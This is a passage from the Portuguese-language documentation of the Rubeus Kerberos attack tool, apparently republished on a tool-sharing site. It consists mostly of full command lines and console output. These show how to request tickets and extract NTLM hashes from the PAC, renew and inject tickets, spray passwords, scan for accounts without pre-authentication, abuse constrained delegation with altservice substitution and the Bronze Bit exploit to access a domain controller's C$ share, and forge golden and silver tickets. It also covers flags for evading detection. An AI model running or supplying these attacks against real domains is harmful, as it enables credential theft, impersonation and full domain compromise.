[*] Usando controlador de domínio: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Solicitando etypes padrão (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) para o ticket de serviço
[*] Construindo solicitação TGS-REQ para: 'roast/me'
[+] Solicitação TGS bem-sucedida!
[*] base64(ticket.kirbi):

      doIF6jCCBeagAwIBBaEDAgEWooIE5zCCBONhggTfMIIE26ADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      AgECoQ0wCxsFcm9hc3QbAm1l

  ServiceName              :  roast/me
  ServiceRealm             :  RUBEUS.GHOSTPACK.LOCAL
  UserName                 :  harmj0y
  UserRealm                :  RUBEUS.GHOSTPACK.LOCAL
  StartTime                :  20/07/2021 00:02:27
  EndTime                  :  20/07/2021 09:57:46
  RenewTill                :  26/07/2021 23:57:46
  Flags                    :  name_canonicalize, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  U9Vnk0QnOmByQqF7i+5ujkinm9pRrevcRhw1sKVEVi4=
  Decrypted PAC            :
    LogonInfo              :
      LogonTime            : 19/07/2021 23:00:38
      LogoffTime           :
      KickOffTime          :
      PasswordLastSet      : 14/07/2021 02:07:12
      PasswordCanChange    : 15/07/2021 02:07:12
      PasswordMustChange   :
      EffectiveName        : harmj0y
      FullName             : Harm J0y
      LogonScript          :
      ProfilePath          :
      HomeDirectory        :
      HomeDirectoryDrive   :
      LogonCount           : 8
      BadPasswordCount     : 0
      UserId               : 1106
      PrimaryGroupId       : 513
      GroupCount           : 1
      Groups               : 513
      UserFlags            : (32) EXTRA_SIDS
      UserSessionKey       : 0000000000000000
      LogonServer          : PDC1
      LogonDomainName      : RUBEUS
      LogonDomainId        : S-1-5-21-3237111427-1607930709-3979055039
      UserAccountControl   : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
      ExtraSIDCount        : 1
      ExtraSIDs            : S-1-18-1
      ResourceGroupCount   : 0
    CredentialInfo         :
      Version              : 0
      EncryptionType       : rc4_hmac
      CredentialData    :   *** NO KEY ***
    ClientName             :
      Client Id            : 19/07/2021 23:57:46
      Client Name          : harmj0y
    UpnDns                 :
      DNS Domain Name      : RUBEUS.GHOSTPACK.LOCAL
      UPN                  : [email protected]
      Flags                : 0
    ServerChecksum         :
      Signature Type       : KERB_CHECKSUM_HMAC_SHA1_96_AES256
      Signature            : 96FA020562EE73B38D31AEEF (VALID)
    KDCChecksum            :
      Signature Type       : KERB_CHECKSUM_HMAC_SHA1_96_AES256
      Signature            : E7FDCBAF5F580DFB567DF102 (UNVALIDATED)


[*] Imprimindo lista de argumentos para uso com os comandos 'golden' ou 'silver' do Rubeus:

/user:harmj0y /id:1106 /pgid:513 /logoncount:8 /badpwdcount:0 /sid:S-1-5-21-3237111427-1607930709-3979055039 /netbios:RUBEUS /displayname:"Harm J0y" /groups:513 /sids:S-1-18-1 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1d /dc:PDC1.RUBEUS.GHOSTPACK.LOCAL /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD

Usando PKINIT para solicitar um TGT e então solicitando um ticket de serviço user-to-user para obter acesso ao hash NTLM armazenado dentro do PAC (executando manualmente a flag /getcredentials para asktgt):

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgs /u2u /asrepkey:CC9D16AB01D1BD0EF9EBD53C8AD536D9 /ticket:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA== /tgs:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA==

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Ação: Solicitar TGS

[*] Usando controlador de domínio: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Solicitando etypes padrão (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) para o ticket de serviço
[*] Construindo solicitação User-to-User TGS-REQ para: 'harmj0y'
[+] Solicitação TGS bem-sucedida!
[*] base64(ticket.kirbi):

      doIFxTCCBcGgAwIBBaEDAgEWooIE1DCCBNBhggTMMIIEyKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      RVVTLkdIT1NUUEFDSy5MT0NBTKkUMBKgAwIBAaELMAkbB2hhcm1qMHk=

  ServiceName              :  harmj0y
  ServiceRealm             :  RUBEUS.GHOSTPACK.LOCAL
  UserName                 :  harmj0y
  UserRealm                :  RUBEUS.GHOSTPACK.LOCAL
  StartTime                :  19/07/2021 23:01:05
  EndTime                  :  20/07/2021 09:00:38
  RenewTill                :  26/07/2021 23:00:38
  Flags                    :  name_canonicalize, pre_authent, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  Qm9zdwFIINSHAAmqaviuEw==
  ASREP (key)              :  CC9D16AB01D1BD0EF9EBD53C8AD536D9
  Decrypted PAC            :
    LogonInfo              :
      LogonTime            : 19/07/2021 22:59:21
      LogoffTime           :
      KickOffTime          :
      PasswordLastSet      : 14/07/2021 02:07:12
      PasswordCanChange    : 15/07/2021 02:07:12
      PasswordMustChange   :
      EffectiveName        : harmj0y
      FullName             : Harm J0y
      LogonScript          :
      ProfilePath          :
      HomeDirectory        :
      HomeDirectoryDrive   :
      LogonCount           : 7
      BadPasswordCount     : 0
      UserId               : 1106
      PrimaryGroupId       : 513
      GroupCount           : 1
      Groups               : 513
      UserFlags            : (32) EXTRA_SIDS
      UserSessionKey       : 0000000000000000
      LogonServer          : PDC1
      LogonDomainName      : RUBEUS
      LogonDomainId        : S-1-5-21-3237111427-1607930709-3979055039
      UserAccountControl   : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
      ExtraSIDCount        : 1
      ExtraSIDs            : S-1-18-1
      ResourceGroupCount   : 0
    CredentialInfo         :
      Version              : 0
      EncryptionType       : rc4_hmac
      CredentialData       :
        CredentialCount    : 1
          NTLM             : C69A7EA908898C23B72E65329AF7E3E8
    ClientName             :
      Client Id            : 19/07/2021 23:00:38
      Client Name          : harmj0y
    UpnDns                 :
      DNS Domain Name      : RUBEUS.GHOSTPACK.LOCAL
      UPN                  : [email protected]
      Flags                : 0
    ServerChecksum         :
      Signature Type       : KERB_CHECKSUM_HMAC_MD5
      Signature            : ADEC4A1A7DF70D0A61047E510E778454 (VALID)
    KDCChecksum            :
      Signature Type       : KERB_CHECKSUM_HMAC_SHA1_96_AES256
      Signature            : 6CF688E02147BEEC168E0125 (UNVALIDATED)

Nota: O /asrepkey da recuperação do TGT deve ser passado para descriptografar a seção CredentialData onde o hash NTLM está armazenado, mas o argumento /servicekey não é necessário aqui, pois a chave de sessão do TGT está sendo usada por se tratar de uma solicitação user-to-user.

Solicitando um ticket de serviço usando a sessão atualmente logada:``` Rubeus.exe asktgs /service:LDAP/dc.ghostpack.local /nowrap


(_____ \ | | ) ) | | _____ _ _ ___ | __ /| | | | _ | ___ | | | |/) | | \ | || | |) ) | || | | || ||/|/|_____)__/(_/

v2.3.3

[*] Action: Ask TGS

[=] Requesting service ticket via LSA authentication package 2 using handle 0x9625072 [*] base64(ticket.kirbi):

root@kitploit:~
  doIGvDCCBrigAwIBBaEDAg(..snip..)

ServiceName : LDAP/dc.ghostpack.local ServiceRealm : GHOSTPACK.LOCAL UserName : CCob (NT_PRINCIPAL) UserRealm : GHOSTPACK.LOCAL StartTime : 25/02/2025 09:08:11 EndTime : 25/02/2025 18:48:39 RenewTill : 03/03/2025 12:47:40 Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : k2xUOHFN1Xg(...snip...)

root@kitploit:~
Solicitando TGT da conta do computador local via renovação. Requer acesso de administrador local.  Se o credential guard estiver presente, o uso do ticket não será possível fora do host.```
Rubeus.exe asktgs /service:krbtgt/ghostpack.local /luid:0x3e7

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3

[*] Action: Ask TGS

[=] Requesting service ticket via LSA authentication package 2 using handle 0x10441184
[*] base64(ticket.kirbi):

      doIGuTCCBrWg(...snip...)IFhb3MuZGV2

  ServiceName              :  krbtgt/ghostpack.local
  ServiceRealm             :  GHOSTPACK.LOCAL
  UserName                 :  DC$ (NT_PRINCIPAL)
  UserRealm                :  GHOSTPACK.LOCAL
  StartTime                :  25/02/2025 09:18:37
  EndTime                  :  25/02/2025 11:35:10
  RenewTill                :  02/03/2025 10:35:06
  Flags                    :  name_canonicalize, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  k2xUOHFN1Xg(...snip...)

renew

A ação renew irá construir/analisar uma troca bruta de TGS-REQ/TGS-REP de renovação de TGT usando o /ticket:X fornecido. Este valor pode ser uma codificação base64 de um arquivo .kirbi ou o caminho para um arquivo .kirbi no disco. Se um /dc não for especificado, o controlador de domínio atual do computador é extraído e usado como destino para o tráfego de renovação. A flag /ptt irá "passar o ticket" (pass-the-ticket) e aplicar a credencial Kerberos resultante à sessão de logon atual.

Observe que os TGTs DEVEM ser renovados antes do seu EndTime, dentro da janela RenewTill.

root@kitploit:~
C:\Rubeus>Rubeus.exe renew /ticket:ticket.kirbi /ptt

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Renew TGT

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1506 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):

    doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...

[*] Action: Import Ticket
[+] Ticket successfully imported!

A flag /autorenew irá pegar um arquivo/blob .kirbi existente /ticket:X, dormir até endTime-30 minutos, renovar automaticamente o ticket e exibir o blob do ticket atualizado. Continuará este processo de renovação até que a janela de renovação permitida (renew-till) expire.

root@kitploit:~
C:\Rubeus>Rubeus.exe renew /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /autorenew

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.3.3

[*] Action: Auto-Renew TGT


[*] User       : [email protected]
[*] endtime    : 2/10/2019 11:44:09 PM
[*] renew-till : 2/17/2019 6:44:09 PM
[*] Sleeping for 263 minutes (endTime-30) before the next renewal
[*] Renewing TGT for [email protected]

[*] Action: Renew TGT

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1506 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):

      doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...

brute

A ação brute irá realizar um ataque de força bruta de senhas ou pulverização de senhas baseado em Kerberos. spray também pode ser usado como nome da ação.

root@kitploit:~
C:\Rubeus>Rubeus.exe brute /password:Password123!! /noticket

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[-] Blocked/Disabled user => Guest
[-] Blocked/Disabled user => DefaultAccount
[-] Blocked/Disabled user => krbtgt
[-] Blocked/Disabled user => disabled
[+] STUPENDOUS => newuser:Password123!!
[*] base64(newuser.kirbi):

      doIFLDCCBSigAwIBBaEDAgEWooIELDCCBChhggQkMIIEIKADAgEFoRAbDlR...(snip)...

preauthscan

A ação preauthscan irá enviar AS-REQ's para todos os nomes de usuário passados no argumento /users para descobrir contas que não exigem pré-autenticação Kerberos.

root@kitploit:~
C:\Rubeus>Rubeus.exe preauthscan /users:uns.txt /domain:semperis.lab /dc:192.168.71.220

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0

[*] Action: Scan for accounts not requiring Kerberos Pre-Authentication

[*] cclark: Pre-Auth Required
[*] jjones: Pre-Auth Not Required
[*] rwilliams: Pre-Auth Required
[*] svc_sqlserver: Pre-Auth Required
[*] pgreen: Pre-Auth Required
[*] jsmith: Pre-Auth Required
[*] tnahum: Pre-Auth Required
[*] sfederovsky: Pre-Auth Required

Abuso de delegação restrita

Detalhamento dos comandos de delegação restrita:

CommandDescription
s4uRealizar ações S4U2self e S4U2proxy

s4u

A ação s4u é quase idêntica à funcionalidade tgs::s4u do Kekeo. Se uma conta de usuário (ou computador) estiver configurada para delegação restrita (ou seja, possui um valor SPN no campo msds-allowedtodelegateto), esta ação pode ser usada para abusar do acesso ao SPN/servidor alvo. A delegação restrita é complexa. Para mais informações, veja este post ou o post de Elad Shamir "Wagging the Dog".

Uma explicação TL;DR é que uma conta com delegação restrita habilitada tem permissão para solicitar tickets para si mesma como qualquer usuário, em um processo conhecido como S4U2self. Para que uma conta tenha permissão para fazer isso, ela deve ter TrustedToAuthForDelegation habilitado em sua propriedade useraccountcontrol, algo que apenas usuários elevados podem modificar por padrão. Este ticket tem a flag FORWARDABLE definida por padrão. O serviço pode então usar este ticket especialmente solicitado para solicitar um ticket de serviço para qualquer nome de entidade de serviço (SPN) especificado no campo msds-allowedtodelegateto da conta. Resumindo, se você controla uma conta com TrustedToAuthForDelegation definido e um valor em msds-allowedtodelegateto, você pode se passar por qualquer usuário no domínio para os SPNs definidos no campo msds-allowedtodelegateto da conta.

Esse "controle" pode ser o hash da conta (/rc4 ou /aes256), ou um TGT existente (/ticket:X) para a conta com um valor msds-allowedtodelegateto definido. Se um hash /user e rc4/aes256 for fornecido, o módulo s4u realiza uma ação asktgt primeiro, usando o ticket retornado para as etapas seguintes. Se um TGT /ticket:X for fornecido, esse TGT é usado no lugar.

Se um hash de conta for fornecido, a opção /nopac pode ser usada para solicitar o TGT inicial sem um PAC.

Usar um proxy KDC (MS-KKDCP) para fazer as requisições é possível usando o argumento /proxyurl:URL. A URL completa do proxy KDC é necessária, ex. https://kdcproxy.exmaple.com/kdcproxy. Quando usado no comando s4u, todas as requisições serão enviadas através do proxy.

Um parâmetro /impersonateuser:X DEVE ser fornecido ao módulo s4u. Se nada mais for fornecido, apenas o processo S4U2self é executado, retornando um ticket forwardable:

root@kitploit:~
C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIE+jCCBPagAwIBBaEDAgEWoo...(snip)...


[*] Action: S4U

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for '[email protected]' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):

    doIF2jCCBdagAwIBBaEDAgEWoo...(snip)...

Esse ticket forwardable pode então ser usado como parâmetro /tgs:Y (blob base64 ou arquivo .kirbi) para executar o processo S4U2proxy. Um valor msds-allowedtodelegateto válido para a conta deve ser fornecido (/msdsspn:X). Suponha que a conta [email protected] se pareça com isto:

root@kitploit:~
PS C:\> Get-DomainUser patsy -Properties samaccountname,msds-allowedtodelegateto | Select -Expand msds-allowedtodelegateto
ldap/PRIMARY.testlab.local/testlab.local
ldap/PRIMARY
ldap/PRIMARY.testlab.local/TESTLAB
ldap/PRIMARY/TESTLAB
ldap/PRIMARY.testlab.local/DomainDnsZones.testlab.local
ldap/PRIMARY.testlab.local/ForestDnsZones.testlab.local
ldap/PRIMARY.testlab.local

Então a função de abuso S4U2proxy (usando o ticket do processo S4U2self anterior) seria:

root@kitploit:~
C:\Rubeus>Rubeus.exe s4u /ticket:doIE+jCCBPagAwIBBaEDAgEWoo..(snip).. /msdsspn:"ldap/PRIMARY.testlab.local" /tgs:doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..
 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: S4U

[*] Loaded a TGS for TESTLAB.LOCAL\[email protected]
[*] Impersonating user '[email protected]' to target SPN 'ldap/PRIMARY.testlab.local'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'ldap/PRIMARY.testlab.local':

    doIGujCCBragAwIBBaEDAgEWoo..(snip)..

Onde /ticket:X é o TGT retornado no primeiro passo, e /tgs é o ticket S4U2self. Injetar o ticket resultante (manualmente com Rubeus.exe ptt /ticket:X ou fornecendo a flag /ptt ao comando s4u) permitirá que você acesse o serviço ldap em primary.testlab.local como se você fosse dfm.a.

O parâmetro /altservice aproveita a grande descoberta de Alberto Solino sobre como o nome do serviço (sname) não é protegido no arquivo KRB-CRED, apenas o nome do servidor é. Isso nos permite substituir qualquer nome de serviço que desejamos no arquivo KRB-CRED (.kirbi) resultante. Um ou mais nomes de serviço alternativos podem ser fornecidos, separados por vírgula (/altservice:cifs,HOST,...).

Vamos expandir o exemplo anterior, forjando acesso ao sistema de arquivos em primary.testlab.local abusando de sua configuração de delegação restrita e da substituição de serviço alternativo. Vamos empacotar tudo em uma única etapa também, realizando uma solicitação de TGT, processo S4U2self, execução S4U2proxy e injeção do ticket final:

root@kitploit:~
C:\Rubeus>dir \\primary.testlab.local\C$
Access is denied.

C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a /msdsspn:"ldap/PRIMARY.testlab.local" /altservice:cifs /ptt

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIE+jCCBPagAwIBBaEDAgEWoo..(snip)..


[*] Action: S4U

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for '[email protected]' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):

    doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..

[*] Impersonating user 'dfm.a' to target SPN 'ldap/PRIMARY.testlab.local'
[*]   Final ticket will be for the alternate service 'cifs'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi) for SPN 'cifs/PRIMARY.testlab.local':

    doIGujCCBragAwIBBaEDAgEWoo..(snip)..

[*] Action: Import Ticket
[+] Ticket successfully imported!

C:\Rubeus>dir \\primary.testlab.local\C$
Volume in drive \\primary.testlab.local\C$ has no label.
Volume Serial Number is A48B-4D68

Directory of \\primary.testlab.local\C$

07/05/2018  12:57 PM    <DIR>          dumps
03/05/2017  04:36 PM    <DIR>          inetpub
08/22/2013  07:52 AM    <DIR>          PerfLogs
04/15/2017  05:25 PM    <DIR>          profiles
08/28/2018  11:51 AM    <DIR>          Program Files
08/28/2018  11:51 AM    <DIR>          Program Files (x86)
10/09/2018  12:04 PM    <DIR>          Temp
08/23/2018  03:52 PM    <DIR>          Users
10/25/2018  01:15 PM    <DIR>          Windows
            1 File(s)              9 bytes
            9 Dir(s)  40,511,676,416 bytes free

Por padrão, existem várias diferenças entre os TGS-REQ's S4U2Self e S4U2Proxy gerados pelo Rubeus e solicitações genuínas. Para formar os TGS-REQ's mais alinhados com solicitações genuínas, a flag /opsec pode ser usada. Como esta flag foi projetada para tornar o tráfego do Rubeus mais furtivo, ela não pode ser usada por padrão com nenhum tipo de criptografia que não seja aes256 e apenas exibirá um aviso e sairá se outro tipo de criptografia for usado. Para permitir que outros tipos de criptografia sejam usados com as alterações do /opsec, existe a flag /force. A flag /opsec ainda não foi implementada para S4U entre domínios.

O exploit Bronze Bit (CVE-2020-17049) é implementado usando a flag /bronzebit. Adicionar esta flag irá automaticamente inverter a flag forwardable ao recuperar o ticket S4U2Self. Como inverter esta flag requer que o ticket de serviço seja descriptografado e recriptografado, a chave de longo prazo (hash da senha da conta de serviço) é necessária. Por esta razão, se um TGT está sendo fornecido, as credenciais da conta de serviço também são necessárias para que isso funcione.

É possível, em certas circunstâncias, usar um ticket S4U2Self para se passar por usuários protegidos, a fim de escalar privilégios no sistema solicitante, conforme discutido aqui. Para este propósito, a flag /self e o argumento /altservice:X podem ser usados para gerar um ticket de serviço utilizável.

Para forjar um encaminhamento (referral) S4U2Self, apenas a chave de confiança é necessária. Ao usar o argumento /targetdomain:X com a flag /self e sem o argumento /targetdc, o Rubeus tratará o ticket fornecido com /ticket:X como um encaminhamento S4U2Self e solicitará apenas o ticket de serviço S4U2Self final. O /altservice:X também pode ser usado para reescrever o sname no ticket resultante:

root@kitploit:~
C:\Rubeus>Rubeus.exe s4u /self /targetdomain:internal.zeroday.lab /dc:idc1.internal.zeroday.lab /impersonateuser:external.admin /domain:external.zeroday.lab /altservice:host/isql1.internal.zeroday.lab /nowrap /ticket:C:\temp\s4u2self-referral.kirbi

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[*] Action: S4U

[*] Action: S4U

[*] Using domain controller: idc1.internal.zeroday.lab (192.168.71.20)
[*] Requesting the cross realm 'S4U2Self' for [email protected] from idc1.internal.zeroday.lab
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[*] Substituting alternative service name 'host/isql1.internal.zeroday.lab'
[*] base64(ticket.kirbi):

      doIFETCCBQ...RheS5sYWI=

Falsificação de Tickets

Detalhamento dos comandos de falsificação de tickets:

CommandDescription
goldenForjar um ticket de concessão de ticket (TGT)
silverForjar um ticket de serviço, também pode forjar TGTs
diamondForjar um ticket diamond

Existem muitas semelhanças entre os comandos golden e silver, a razão para eles serem separados é simplificar o comando golden. Tickets de serviço podem ser muito mais complexos que TGTs, com chaves diferentes e seções extras, enquanto TGTs podem ser forjados com o comando silver, golden fornece menos argumentos potenciais, pois os recursos não relevantes para TGTs não estão presentes.

A maioria dos argumentos para ambos os comandos são para definir campos do PAC e devem ser razoavelmente autoexplicativos. Estes são:| Argumento | Descrição | |----------|-------------| | /user | Usado como o usuário para consultar detalhes se /ldap for passado, mas também é usado para definir o campo EffectiveName no PAC e o campo cname no EncTicketPart | | /dc | Especifica o controlador de domínio usado para a consulta LDAP se /ldap for passado, mas também usado para definir o campo LogonServer no PAC | | /netbios | Define o campo LogonDomainName no PAC | | /sid | Define o campo LogonDomainId no PAC | | /id | Define o campo UserId no PAC (Padrão: 500) | | /displayname | Define o campo FullName no PAC | | /logoncount | Define o campo LogonCount no PAC (Padrão: 0) | | /badpwdcount | Define o campo BadPasswordCount no PAC (Padrão: 0) | | /uac | Define o campo UAC no PAC (Padrão: NORMAL_ACCOUNT) | | /pgid | Define o campo PrimaryGroupId no PAC e também é adicionado ao campo /groups (Padrão: 513) | | /groups | Separado por vírgulas. Define o campo Groups no PAC, e o /pgid também é adicionado a ele. O total também é usado para calcular o campo GroupCount (Padrão: 520,512,513,519,518) | | /homedir | Define o campo HomeDirectory no PAC | | /homedrive | Define o campo HomeDirectoryDrive no PAC | | /profilepath | Define o campo ProfilePath no PAC | | /scriptpath | Define o campo LogonScript no PAC | | /logofftime | Define o campo LogoffTime no PAC. Em formato de hora local - é convertido para UTC automaticamente | | /lastlogon | Define o campo LogonTime no PAC. Em formato de hora local - é convertido para UTC automaticamente (Padrão: starttime - 1 segundo) | | /passlastset | Define o campo PasswordLastSet no PAC. Em formato de hora local - é convertido para UTC automaticamente | | /minpassage | Define o campo PasswordCanChange no PAC. Isto é relativo ao PasswordLastSet, em número de dias, por exemplo, '5' para 5 dias | | /maxpassage | Define o campo PasswordMustChange no PAC. Isto é relativo ao PasswordLastSet, em número de dias, por exemplo, '5' para 5 dias | | /sids | Separado por vírgulas. Define o campo ExtraSIDs no PAC. Também é usado para calcular o campo ExtraSIDCount | | /resourcegroupsid | Define o campo ResourceGroupSid no PAC. Se usado, /resourcegroups também é obrigatório | | /resourcegroups | Separado por vírgulas. Define o campo ResourceGroups no PAC. Também é usado para calcular o campo ResourceGroupCount. Se usado, também é obrigatório |

Outros argumentos comuns a ambos os comandos, mas para definir campos fora do PAC, são:

Para os tempos relativos descritos nas tabelas acima, o formato é um inteiro usado como multiplicador seguido por um único caractere que funciona como intervalo de tempo. O significado de cada caractere suportado é mostrado na tabela abaixo (Estes diferenciam maiúsculas de minúsculas):

CaractereDescrição
mMinutos
hHoras
dDias
MMeses
yAnos

A outra característica comum usada por ambos os comandos é a recuperação de informações via LDAP. Tanto golden quanto silver suportam a recuperação de informações via LDAP usando o flag /ldap. O flag /ldap pode ser usado com os argumentos /creduser e /credpassword para autenticar como um usuário alternativo ao recuperar essas informações. As informações são recuperadas enviando 3 consultas LDAP e montando o compartilhamento SYSVOL de um controlador de domínio (para ler o arquivo de política de domínio) se nenhuma outra informação for passada. As consultas LDAP serão automaticamente enviadas via TLS e, em caso de falha, recorrerão ao LDAP em texto simples.

A primeira consulta LDAP, que sempre será enviada se ldap for passado, consulta o usuário especificado em /user e recupera a maioria das informações do usuário necessárias para o PAC.

A segunda consulta LDAP será enviada se /groups, /pgid, /minpassage OU /maxpassage não forem fornecidos na linha de comando; qualquer um desses argumentos fornecidos na linha de comando evitará a consulta LDAP por essas informações. Esta consulta recupera os grupos dos quais o usuário é membro, incluindo o grupo primário, juntamente com o objeto de política de domínio (usado para obter o caminho para o arquivo de política). Se /minpassage ou /maxpassage não for fornecido na linha de comando e o objeto de política de domínio for recuperado do LDAP, o compartilhamento SYSVOL de um DC é montado e o arquivo de política é analisado para obter os valores MinimumPasswordAge (para definir o valor adequado para o campo PasswordCanChange no PAC) e MaximumPasswordAge (para definir o valor adequado para o campo PasswordMustChange no PAC).

Por último, se o argumento /netbios não for fornecido na linha de comando, uma consulta LDAP pelo nome netbios adequado do domínio é feita a partir do contêiner Configuration para definir o campo LogonDomainName no PAC. Se o flag /ldap não for fornecido na linha de comando e o argumento /netbios também não for fornecido, o primeiro elemento (antes do primeiro ponto '.') é convertido para maiúsculas e usado como substituto.

O flag /printcmd pode ser usado para imprimir os argumentos necessários para gerar outro ticket contendo as mesmas informações do PAC usadas para gerar o ticket atual. Isso não imprimirá argumentos relacionados aos horários em que o ticket é válido, pois provavelmente serão diferentes para quaisquer tickets futuros que você queira forjar.

golden

A ação golden forjará um TGT para o usuário /user:X, criptografando o ticket com o hash passado com /des:X, /rc4:X, /aes128:X ou /aes256:X e usando a mesma chave para criar o ServerChecksum e o KDCChecksum. Os vários argumentos para definir campos manualmente são descritos acima, ou o flag /ldap pode ser usado para recuperar automaticamente as informações do controlador de domínio.

O switch /oldpac pode ser usado para excluir os novos PAC_INFO_BUFFERs Requestor e Attributes, adicionados em resposta ao CVE-2021-42287.

O switch /extendedupndns incluirá os novos elementos UpnDns estendidos. Isso envolveu adicionar 2 aos Flags, além de conter o samaccountname e o SID da conta.

